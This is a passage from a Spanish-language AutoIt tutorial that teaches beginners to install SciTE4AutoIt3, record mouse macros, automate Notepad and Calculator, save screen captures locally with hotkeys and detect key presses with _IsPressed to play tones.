\_FileListToArrayRec($sAutoItDir**,** "\*.ico||ic\*"**,** $FLTAR\_FILES**,** $FLTAR\_RECUR**,** $FLTAR\_SORT)  **If** @error **Then**  MsgBox($MB\_SYSTEMMODAL**,** "Ooops!"**,** "No ico files found")  **Else**  \_ArrayDisplay($aArray**,** "Icon files not in 'Icons' folder")  **EndIf**  **; And to show that the filter applies to files AND folders when not recursive**  $aArray = \_FileListToArrayRec($sAutoItDir**,** "\*.exe"**,** $FLTAR\_FILESFOLDERS**,** $FLTAR\_NORECUR**,** $FLTAR\_SORT)  \_ArrayDisplay($aArray**,** "Non-recur with filter")  **; The filter also applies to folders when recursively searching for folders**  $aArray = \_FileListToArrayRec($sAutoItDir**,** "Icons"**,** $FLTAR\_FOLDERS**,** $FLTAR\_RECUR**,** $FLTAR\_SORT)  \_ArrayDisplay($aArray**,** "Folder recur with filter")  **; Note the exlude\_folder parameter is ignored when looking for folders - "Icons" will be excluded but "Include" will still be there**  $aArray = \_FileListToArrayRec($sAutoItDir**,** "\*|ic\*|i\*"**,** $FLTAR\_FOLDERS**,** $FLTAR\_RECUR**,** $FLTAR\_SORT)  \_ArrayDisplay($aArray**,** "'Icons' out - 'Include' in")  **; The root of C:\Windows showing hidden/system folders**  $aArray = \_FileListToArrayRec("C:\Windows\"**,** "\*"**,** $FLTAR\_FOLDERS)  \_ArrayDisplay($aArray**,** "Show hidden folders")  **; The root of C:\Windows omitting hidden/system folders**  $aArray = \_FileListToArrayRec("C:\Windows\"**,** "\*"**,** $FLTAR\_FOLDERS + $FLTAR\_NOHIDDEN + $FLTAR\_NOSYSTEM)  \_ArrayDisplay($aArray**,** "Hide hidden folders")  **EndFunc** **;==>Example** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**40.- Instalación de Scit4Autoit. Crear macros.**

- En el primer tutorial bajamos una versión del AutoIt que no necesitaba instalación, además dentro de una de sus carpetas estaba el **SciTE-Lite** para editar y escribir las aplicaciones.

- Ahora vamos a volver a la página de bajada del AutoIt y bajaremos la versión para su instalación.

- Volvemos a[**https://www.autoitscript.com/site/autoit/downloads/**](https://www.autoitscript.com/site/autoit/downloads/) y bajamos la primera opción:

**AutoIt Full Installation. Includes x86 and x64 components:** **autoit-v3-setup2.exe** (12 MB)

- Lo instalamos, todo por defecto. Luego vamos al Editor de texto **SciTE4AutoIt3** y también lo instalamos.

[**https://www.autoitscript.com/autoit3/scite/docs/SciTE4AutoIt3.html**](https://www.autoitscript.com/autoit3/scite/docs/SciTE4AutoIt3.html%20)

- Este nuevo editor de texto **SciTE4AutoIt3** tiene más posibilidades que el que hemos estado utilizando hasta ahora que era SciTe-Lite.

- SciTE4AutoIt3 es el SciTE-Lite mejorado con varias aplicaciones de utilidad como [AutoIt3Wrapper](https://www.autoitscript.com/autoit3/scite/docs/SciTE4AutoIt3/AutoIt3Wrapper.html), [SciTEConfig](https://www.autoitscript.com/autoit3/scite/docs/SciTE4AutoIt3/SciTEConfig.html), [Tidy](https://www.autoitscript.com/autoit3/scite/docs/SciTE4AutoIt3/Tidy.html), [Au3Stripper](http://www.autoitscript.com/autoit3/scite/docs/SciTE4AutoIt3/Au3Stripper.html)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Au3record.exe. Creación de macros automáticamente.**

- Graba los movimientos del ratón y después los ejecuta automáticamente.

- Una herramienta que siempre le ha gustado mucho a los usuarios de AutoIt es:**au3record.exe**. Pero resulta que **la han quitado de las últimas versiones.**

- La podemos bajar de una versión anterior. Vamos a: <https://www.autoitscript.com/autoit3/files/archive/autoit/> ahí se encuentran todas las versiones.

- Bajamos la versión: [**autoit-v3.3.14.0.zip**.](https://www.autoitscript.com/autoit3/files/archive/autoit/autoit-v3.3.14.0.zip) La descomprimos. Vamos a la carpeta **Au3Record**.

- Abre**Au3Record.exe**. Pulsa en**Save** para guardar el archivo macro, por ejemplo **calculadora.au3**. Pulsa en **Click To Record** y mueve el ratón, saca la calculadora, haz una multiplicación.

|  |  |
| --- | --- |
|  |  |

- Para terminar pulsa **Click To Stop**. Obtendremos una macro de movimientos del ratón.

|  |  |
| --- | --- |
|  | - Los número indican la posición a donde irá el ratón. |

- Si vamos al archivo creado **calculadora.au3**, y lo pulsamos, el ratón se moverá automáticamente según lo indicado en el script.

- Podemos modificar los valores del archivo calculadora.au3 ya que es un archivo de texto.

- Si lo queremos hacer autoejecutable .exe, vamos a la carpeta **Aut2exe.exe** como hicimos con otras aplicaciones anteriores.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Compilar, convertirlos a .exe.**

- Con la versión de **SciTE4AutoIt**hay otra manera más completa de compilar. Pulsamos en **Tools / Compile.**

- Prueba también **Tools / Build**.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Ejemplo de macros.**

- En este sitio web hay muchas macros interesantes:[**http://www.leuce.com/autoit/**](http://www.leuce.com/autoit/). Te puede ser un poco complicado de entender pero te dan una idea de lo que pueden hacer las macros.

- [Otras aplicaciones para [realizar macros](http://merabheja.com/17-free-macro-recorder-tools-to-perform-repetitive-tasks/)]

- Hay que tener cuidado con este tipo de programas, pueden incluso instalar troyanos como nos comentan[en este artículo](https://www.scmagazineuk.com/hackers-revive-word-macro-malware-in-autoit-rat-attack/article/534989/).

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**  
**- Macros muy útiles.**

- Otro tipo de macros ya creadas y muy útiles, las puedes ver en esta página:

<https://www.autoitscript.com/autoit3/docs/macros.htm>

- Hay algunas que verás a veces: @ScriptDir, @HOUR. GUISetState(@SW\_SHOW)

|  |
| --- |
| **Macros muy útiles** |
| $todo = ""  $todo = $todo & "Hora " & @HOUR & @CRLF  $todo = $todo & "Directorio del script " & @ScriptDir & @CRLF  $todo = $todo & "Arquitectura " & @CPUArch & @CRLF  $todo = $todo & "Nombre del ordenador " & @ComputerName & @CRLF  $todo = $todo & "IP " & @IPAddress1 & @CRLF  $todo = $todo & "Sistema operativo " & @OSBuild & @CRLF  $todo = $todo & "Versión del sistema operativo " & @OSVersion & @CRLF  MsgBox(0**,** "Variables"**,** $todo)  GUISetState(@SW\_SHOW) **; muestra ventana. Es importante para crear el Formulario.**  GUISetState(@SW\_HIDE) **; oculta ventana**  GUISetState(@SW\_MAXIMIZE) **; maximiza ventana**  GUISetState(@SW\_MINIMIZE) **; minimiza ventana**  GUISetState(@SW\_MINIMIZE) **; minimiza ventana**  GUISetState(@SW\_MINIMIZE) **; minimiza ventana** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Algunas funciones.**

|  |
| --- |
| **Funciones típicas que verás más adelante en macros.** |
| Run ( "notepad.exe" ) ; Ejecutar el bloc de notas  ; Bloc de notas en primer plano WinActivate("Sin título - Bloc de notas ") WinWaitActive("Sin título - Bloc de notas ") Send("Ejemplo")  ; Movimiento del ratón a una posición de la pantalla.  MouseMove(x, y)  ; Botón izquierdo, derecho y central del ratón  MouseClick("primary") MouseClick("secondary") MouseClick("middle")  ; Pulsa una tecla de orden.  Send("{F10}") Send("{ENTER}") |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Autolauncher.**

- Es para poner botones 3D en el Escritorio para hacer funcionar las aplicaciones que hemos realizado con el AutoIt.

<http://autoitclipboardlauncher.com/>

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**42.- Construir una macro. Bloc de notas. Au3Info.**

- El Bloc de notas es el archivo **C:\Windows\System32\notepad.exe**

- Vamos a crear una macro que lo abra y automáticamente escriba un texto. Luego se cierre sin guardarlo.

- Un**elemento importante** para hacer las macros es el**título de la ventana**de la aplicación con la que queremos trabajar.

- Por ejemplo, el título de esta ventana es:**"Sin título: Bloc de notas"**

- AutoIt tiene una herramienta para obtener el título de una aplicación: **Au3Info**. Vamos a **Tools / AU3Info** desde el SciTE o bien desde la carpeta donde esté instalado el AutoIt.

|  |  |
| --- | --- |
|  |  |

- Abrimos el **Bloc de notas**. Arrastramos el dibujo **"Finder Tool"** hacia la ventana del Bloc de notas. Nos indicará que el título de la ventana es **"Sin título: Bloc de notas"**.

- Cuando salga la ventana de guardar los cambios, de nuevo vamos al **Finder Tool**, pulsamos en la pestaña **"Visible Text"** y observamos:

***&Guardar  
&No guardar  
Cancelar***

- Además observamos que esta ventanita se titula**"Bloc de notas"**

- Fíjate que he remarcado que las letras **G** y **N** están subrayadas.

- Si en vez de pulsar esos botones pulsáramos la tecla **"ALT" y G**, se guardaría. Si pulsáramos **"ALT" y N**, no se guardaría.

- La tecla**"ALT"** en las macros se establece como **!**

- Así que **Send("!N")** indicará "ALT" y N, es decir que no queremos guardar.

- Esta es nuestra macro:

|  |
| --- |
| **Macro Bloc de notas.** |
| Run("notepad.exe")  WinWaitActive("Sin título: Bloc de notas")  Send("Se escribirá: Visita KIO4.COM.")  WinClose("Sin título: Bloc de notas")  Sleep(1000)  WinWaitActive("Bloc de notas"**,** "Guardar")  Send("!N") |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Función Run, ejecutar una aplicación.**

<https://www.autoitscript.com/autoit3/docs/functions/Run.htm>

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**44.- Movimientos automáticos del ratón.**

- Con el ratón podemos realizar las siguientes funciones: MouseClick, MouseClickDrag, MouseDown, MouseGetPos, MouseMove, MouseUp, MouseWheel, ControlClick.

- <https://www.autoitscript.com/autoit3/docs/functions/MouseMove.htm>

- <https://www.autoitscript.com/autoit3/docs/functions/MouseClick.htm>

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Movimientos del ratón.**

- El ratón se moverá a esas coordenadas de la pantalla del monitor.

- El origen de coordenadas es el vértice superior izquierdo del monitor.

- Este código mueve el ratón por distintos lugares de la pantalla.

- Al final obtiene las coordenadas del lugar donde se indica (500,650) y las muestra en un **MsgBox**.

- Pulsamos "Aceptar" en el MsgBox, 3 segundos después el ratón pulsará con su botón derecho el lugar donde se encuentre.

|  |
| --- |
| **Movimiento del ratón.** |
| MouseMove(100**,**120) **; Coordenadas x,y**  MouseMove(200**,**480**,**30) **; El tercer número, el 30, es la velocidad del ratón.**  MouseMove(500**,**650**,**20)  MouseMove(300**,**650**,**70)  MouseMove(500**,**650**,**10)  $posicion = MouseGetPos()  MsgBox(0**,** "Posición:"**,** $posicion[0] & ", " & $posicion[1])  Sleep(3000)  MouseClick("right")**; Pulsa con el botón derecho del ratón.** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- AutoItSetOption o opt().**

- Establece algunos parámetros de configuración de distintos componentes.

- <https://www.autoitscript.com/autoit3/docs/functions/AutoItSetOption.htm>

- Por ejemplo:

|  |  |
| --- | --- |
| MouseCoordMode | Establece la manera en la que se tomarán las coordenadas del ratón.  **0** = **relativas a la ventana actual** que se esté utilizando. Origen vertice superior izquierdo. **1** = (defecto) **relativas a la pantalla del monitor**. **2**= relativas a cierta zona de la ventana que se esté utilizando. Origen debajo de la barra de título. |

**- Para qué sirve esto,** pues para que la posición del ratón esté basada bien en las dimensiones del monitor, o bien en la ventana que esté activa en ese momento.

- Si queremos pulsar un botón de la Calculadora y escribimos en el código: MouseClick(800,300), porque un botón se encuentra en ese momento en ese lugar de la pantalla, lo pulsará con éxito.

- Pero si otro momento queremos pulsar ese mismo botón y la Calculadora ya no está en ese lugar, al escribir MouseClick(800,300), no pulsará donde deseamos.

- Para eso podemos establecer la **posición relativa**. Si la establecemos y ponemos MouseClick(30,40), el ratón pulsará en ese lugar "medido" desde la ventana de la Calculadora.

- Cuando establecemos 0 en la ventana activa, las coordenadas se tomarán desde esa ventana, incluyendo borde y barra de título. Si establecemos 2, no se tomará ni los bordes ni la barra de título, en este caso el origen de coordenadas estará abajo izquierda.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Au3Info.**

- Au3Info lo vimos en el tutorial anterior. Podemos ejecutarlo de estas dos maneras.

- Se utiliza para consultar propiedades y elementos que componen una aplicación como el título, Class, Instance...

|  |  |
| --- | --- |
|  |  |

- Abrimos la Calculadora y Au3Info. Arrastramos el "Finder Tool" hacia el título de la Calculadora, observamos que el **Título es: "Calculadora"** y su **Class: "CalcFrame".**

- Eso datos serán importante para localizar a la Calculadora cuando se encuentre en cualquier lugar de la pantalla.

- También con esta herramienta podemos obtener la**posición relativa donde se encuentra cada botón**. Ponemos el "Finder Tool" en cada botón para ver su posición.

- La función de todo esto lo veremos en el próximo apartado.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Pulsa teclas de la Calculadora independientemente de donde ella se encuentre.**

- Mediante Au3Info, ponemos el "Finder Tool" en cada tecla de la Calculadora y anotamos su posición. Observa la siguiente imagen.

- Consultamos la pestaña Control. El Botón 7, está en la posición relativa **257,287**.

- [Fíjate tambien que tiene **Instance: 5**, esto lo veremos en el próximo apartado]

**- Vamos a sumar 78 + 63 =**

- En WinActivate, ponemos el**título** de la ventana activa, en este caso la "Calculadora".

|  |
| --- |
| **Suma automática.** |
| Suma automática**.**  AutoItSetOption("MouseCoordMode"**,**2) **; Coordenadas relativas a la Calculadora**  Run("calc.exe")  Sleep(50) **; Espera un poco que cargue.**  WinActivate("Calculadora")  **; Pulsa el botón izquierdo del ratón**  **; En la posición de cada botón.**  MouseClick("left"**,**257**,**287) **; 7**  MouseClick("left"**,**306**,**287) **; 8**  MouseClick("left"**,**403**,**407) **; +**  MouseClick("left"**,**355**,**328) **; 6**  MouseClick("left"**,**355**,**367) **; 3**  MouseClick("left"**,**452**,**367) **; =** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Otra manera de pulsar las teclas con CLASS e INSTANCE.**

- Mediante el Auto3Info y su "Finder Tool", nos posicionamos sobre la barra de título de la Calculadora. Observamos cuál es su Clase:

**CLASS: CalcFrame** (esto en la pestaña de Window del Auto3Info)

- Vamos a la pestaña Control y observamos la Class de cada botón.**CLASS:Button** y la **Instance** de cada uno.

|  |
| --- |
| **Suma automática con CLASS e INSTANCE.** |
| Run("calc.exe")  Sleep(50) **; Espera un poco que cargue.**  WinActivate("Calculadora")  opt("MouseCoordMode"**,** 2) **; Esto es igual que AutoItSetOption("MouseCoordMode",2)**  ControlClick("[CLASS:CalcFrame]"**,** ""**,** "[CLASS:Button; INSTANCE:5]") ; 7  ControlClick("[CLASS:CalcFrame]"**,** ""**,** "[CLASS:Button; INSTANCE:11]") ; 8  ControlClick("[CLASS:CalcFrame]"**,** ""**,** "[CLASS:Button; INSTANCE:25]") ; +  ControlClick("[CLASS:CalcFrame]"**,** ""**,** "[CLASS:Button; INSTANCE:17]") ; 6  ControlClick("[CLASS:CalcFrame]"**,** ""**,** "[CLASS:Button; INSTANCE:18]") ; 3  ControlClick("[CLASS:CalcFrame]"**,** ""**,** "[CLASS:Button; INSTANCE:30]") ; = |

- Es igual poner **opt("MouseCoordMode", 2)** o **AutoItSetOption("MouseCoordMode",2)**

**- Si quisiéramos pulsar 4 veces un botón:**

ControlClick("[CLASS:CalcFrame]", "", "[CLASS:Button; INSTANCE:5]", "left", **4**)

**- Si quisiéramos pulsar algo con el botón derecho del ratón:**

ControlClick("[CLASS:CalcFrame]", "", "[CLASS:Button; INSTANCE:5]", "right")

**46.- Capturar pantalla.**

- Se creará una carpeta llamada **"mis\_capturas"** en **Biblioteca / Documentos** del ordenador.

- Se realizarán 5 capturas automáticas de la pantalla actual y se guardarán en esa carpeta, el nombre de la imagen será la hora actual.

- El bucle For ... to ... Next realiza el código 5 veces.

- Cada vez que se capture una pantalla se mostrará su imagen.

- Beep (frecuencia, tiempo)

- Mediante **HotKeySet** cada vez que pulsemos la tecla {F2}, se realizará una captura de pantalla y se guardará en la carpeta "mis\_capturas"

- Mediante la Tecla {Escape}, saldremos de la aplicación.

- Mientras la aplicación esté activa, saldrá un pequeño avisor ToolTip, en el vértice superior izquierdo de la pantalla.

- Las funciones de **\_ScreenCapture** la encontramos en:

|  |  |
| --- | --- |
| [\_ScreenCapture\_Capture](https://www.autoitscript.com/autoit3/docs/libfunctions/_ScreenCapture_Capture.htm) | Captura la pantalla completa o una zona de la pantalla. |
| [\_ScreenCapture\_CaptureWnd](https://www.autoitscript.com/autoit3/docs/libfunctions/_ScreenCapture_CaptureWnd.htm) | Captura una ventana que esté en la pantalla, identificada por su ID |
| [\_ScreenCapture\_SaveImage](https://www.autoitscript.com/autoit3/docs/libfunctions/_ScreenCapture_SaveImage.htm) | Guarda la imagen capturada. |
| [\_ScreenCapture\_SetBMPFormat](https://www.autoitscript.com/autoit3/docs/libfunctions/_ScreenCapture_SetTIFCompression.htm) | Número de bits por pixel, por defecto 24. |
| [\_ScreenCapture\_SetJPGQuality](https://www.autoitscript.com/autoit3/docs/libfunctions/_ScreenCapture_SetJPGQuality.htm) | Grado de compresión en imágenes JPG. |
| [\_ScreenCapture\_SetTIFColorDepth](https://www.autoitscript.com/autoit3/docs/libfunctions/_ScreenCapture_SetTIFColorDepth.htm) | Profundidad de colore en TIFF. |
| [\_ScreenCapture\_SetTIFCompression](https://www.autoitscript.com/autoit3/docs/libfunctions/_ScreenCapture_SetTIFCompression.htm) | Grado de compresión en imágenes TIFF. |

- En vez de capturar la pantalla completa, puede capturar una zona de la pantalla o una ventana identificada.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Código de captura de pantalla.**

|  |
| --- |
| **Capturar pantalla.** |
| #include <ScreenCapture.au3>  **; Juan A. Villalpando - KIO4.COM**  HotKeySet("{F2}"**,** "Realizar\_captura") **; Pulsar F2**  HotKeySet("{ESC}"**,** "Salir") **; Pulsar Escape**  **If** Not FileExists(@MyDocumentsDir & "\mis\_capturas") **Then**  MsgBox(0**,**"Creación de la carpeta"**,**"La carpeta mis\_capturas no existe, la voy a crear."**,** 3) **; El mensaje está 3 segundos.**  DirCreate(@MyDocumentsDir & "\mis\_capturas")  **EndIf**  **; Realiza 5 capturas.**  **For** $n = 1 **to** 5  Realizar\_captura() **; Llama a la función de Relizar\_captura.**  **; Espera 10 segundos para la siguiente captura.**  Sleep(10000)  **Next**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**    **Func** Realizar\_captura()  $fecha = @MDAY & "-" & @MON & "-" & @HOUR & "-" & @MIN & "-" & @SEC  **; Captura la pantalla completa.**  $captura\_pantalla = \_ScreenCapture\_Capture("")  Beep(900**,**200)  **; Guarda la imagen capturada en la carpeta de Documentos/mis\_capturas, el nombre será la fecha-hora de hoy.**  \_ScreenCapture\_SaveImage(@MyDocumentsDir & "\mis\_capturas\" & $fecha & ".jpg"**,** $captura\_pantalla)  **; Muestra la imagen capturada.**  ShellExecute(@MyDocumentsDir & "\mis\_capturas\" & $fecha & ".jpg")  **EndFunc**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **Func** Salir()  **Exit** 0  **EndFunc**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **While** 1 **; Bucle para que la aplicación siga activa hasta que pulsemos Esc.**  Sleep(100)  ToolTip("F2: Capturar. Esc: Salir"**,** 10**,** 10) **; Mira el aviso en la esquina superior izquierda de la pantalla.**  **WEnd** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Captura de la ventana activa.**

|  |
| --- |
| **Capturar pantalla completa y ventana activa.** |
| #include <ScreenCapture.au3>  **; Juan A. Villalpando - KIO4.COM**  HotKeySet("{F2}"**,** "Realizar\_captura") **; Pulsar F2**  HotKeySet("{ESC}"**,** "Salir") **; Pulsar Escape**  HotKeySet("{F3}"**,** "Ventana\_activa") **; Pulsar F3**  **If** Not FileExists(@MyDocumentsDir & "\mis\_capturas") **Then**  MsgBox(0**,**"Creación de la carpeta"**,**"La carpeta mis\_capturas no existe, la voy a crear."**,** 3) **; El mensaje está 3 segundos.**  DirCreate(@MyDocumentsDir & "\mis\_capturas")  **EndIf**  **; Realiza 5 capturas.**  **For** $n = 1 **to** 5  Realizar\_captura() **; Llama a la función de Relizar\_captura.**  **; Espera 10 segundos para la siguiente captura.**  Sleep(10000)  **Next**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**    **Func** Realizar\_captura()  $fecha = @MDAY & "-" & @MON & "-" & @HOUR & "-" & @MIN & "-" & @SEC  **; Captura la pantalla completa.**  $captura\_pantalla = \_ScreenCapture\_Capture("")  Beep(900**,**200)  **; Guarda la imagen capturada en la carpeta de Documentos/mis\_capturas, el nombre será la fecha-hora de hoy.**  \_ScreenCapture\_SaveImage(@MyDocumentsDir & "\mis\_capturas\" & $fecha & ".jpg"**,** $captura\_pantalla)  **; Muestra la imagen capturada.**  ShellExecute(@MyDocumentsDir & "\mis\_capturas\" & $fecha & ".jpg")  **EndFunc**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **Func** Salir()  **Exit** 0  **EndFunc**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**    **Func** Ventana\_activa()  $fecha = @MDAY & "-" & @MON & "-" & @HOUR & "-" & @MIN & "-" & @SEC  $hwnd = WinGetHandle("[ACTIVE]") **; Identificador de la ventana activa.**  **; Captura la ventana activa y guardar.**  \_ScreenCapture\_CaptureWnd(@MyDocumentsDir & "\mis\_capturas\" & $fecha & ".jpg"**,** $hwnd)  Beep(900**,**200)  **; Muestra la imagen capturada.**  ShellExecute(@MyDocumentsDir & "\mis\_capturas\" & $fecha & ".jpg")  **EndFunc**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **While** 1 **; Bucle para que la aplicación siga activa hasta que pulsemos Esc.**  Sleep(100)  ToolTip("F2: Capturar. F3: Ventana. Esc: Salir"**,** 10**,** 10) **; Mira el aviso en la esquina superior izquierda de la pantalla.**  **WEnd** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Comentarios.**

- En el código de ventana activa fíjate que la dirección donde se guardará la imagen está dentro de la función.

- Además no hace falta utilizar una variable para guardar:

**\_ScreenCapture\_CaptureWnd**(@MyDocumentsDir & "\mis\_capturas\" & $fecha & ".jpg", $hwnd)

- Para obtener el identificador de la ventana activa utilizamos:

$hwnd = WinGetHandle("[ACTIVE]") ; Identificador de la ventana activa.

- Para probar la captura de la ventana activa, saca la **"Calculadora"**, la pones en primer plano y pulsa la tecla {F3}, se capturará solamente la ventana de la Calculadora.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuestas.**

-**\_\_\_\_\_**

**47.- \_IsPressed. HotKeySet.**

- En el tutorial anterior vimos que mediante pulsando una tecla o varias a la vez mediante HotKeySet ejecutaremos a una función.

HotKeySet("{F2}", "**Realizar\_captura**") ; Pulsar F2  
HotKeySet("{ESC}", "**Salir**") ; Pulsar Escape  
HotKeySet("{F3}", "**Ventana\_activa**") ; Pulsar F3

HotKeySet("+{F2}", "**Realizar\_captura**") ; Pulsar a la vez la tecla Mayúscula y F2  
HotKeySet("^{F3}", "**Ventana\_activa**") ; Pulsar a la vez la tecla Control y F3

- <https://www.autoitscript.com/autoit3/docs/functions/HotKeySet.htm>

- Nombre de las teclas: <https://www.autoitscript.com/autoit3/docs/functions/Send.htm>

- Ahora vamos a ver la función **\_IsPressed**: <https://www.autoitscript.com/autoit3/docs/libfunctions/_IsPressed.htm>

- Para utilizarlo se ha de incluir: **#include <Misc.au3>**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Sonidos.**

- Al pulsar las teclas indicadas sonará un tono.

- El tono va subiendo una octava.

- Una octava significa el doble de la frecuencia.

|  |
| --- |
| **Sonidos.** |
| #include <Misc.au3>  **#Region ### START Koda GUI section ### Form=**  $Form1 = GUICreate("Pulsa ESC para salir"**,** 613**,** 231**,** 192**,** 132)  **; Juan A. Villalpando - KIO4.COM**  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  HotKeySet("{ESC}"**,** "Salir") **; Pulsar Escape para salir**  $tiempo = 200  **Local** $hDLL = DllOpen("user32.dll")  **While** 1  **If** \_IsPressed("41"**,** $hDLL) **Then** Beep(100**,**$tiempo) **; A**  **If** \_IsPressed("53"**,** $hDLL) **Then** Beep(200**,**$tiempo) **; S**  **If** \_IsPressed("44"**,** $hDLL) **Then** Beep(400**,**$tiempo) **; D**  **If** \_IsPressed("46"**,** $hDLL) **Then** Beep(800**,**$tiempo) **; F**  **If** \_IsPressed("47"**,** $hDLL) **Then** Beep(1600**,**$tiempo) **; G**  **If** \_IsPressed("48"**,** $hDLL) **Then** Beep(3200**,**$tiempo) **; H**  **If** \_IsPressed("4A"**,** $hDLL) **Then** Beep(6400**,**$tiempo) **; J**  **If** \_IsPressed("4B"**,** $hDLL) **Then** Beep(12800**,**$tiempo) **; K**  **WEnd**  **Func** Salir()  DllClose($hDLL)  **Exit**  **EndFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Ejemplo de pulsar teclas.**

|  |
| --- |
| **Ejemplo.** |
| #include <Misc.au3>  #include <MsgBoxConstants.au3>  **Local** $hDLL = DllOpen("user32.dll")  **While** 1  **If** \_IsPressed("10"**,** $hDLL) **Then**  ConsoleWrite("Pulsastes la tecla Mayúsculas." & @CRLF)  **; Espera hasta que sueltes la tecla.**  **While** \_IsPressed("10"**,** $hDLL)  Sleep(250)  **WEnd**  ConsoleWrite("Dejastes de pulsar la tecla Mayúsculas." & @CRLF)  **ElseIf** \_IsPressed("1B"**,** $hDLL) **Then**  MsgBox($MB\_SYSTEMMODAL**,** "\_IsPressed"**,** "Has pulsado la tecla ESC, saldrás de la aplicación.")  **ExitLoop**  **EndIf**  Sleep(250)  **WEnd**  DllClose($hDLL) |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Comentarios.**

- ConsoleWrite, es la parte de abajo del editor, observa la imagen.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuestas.**

- Realizar un órgano con las frecuencias apropiadas,**do, re, mi, fa, sol, la, si.**

- Otra librería de tipo IsPressed: <https://www.autoitscript.com/forum/topic/86296-ispressed_udf-v23-advanced-keypress/>

**\_\_\_\_\_**

**40.- Pulsado automático de teclas. Send. Teclas de control.**

- Mediante la función Send podemos realizar la misma función que el pulsado de teclas.

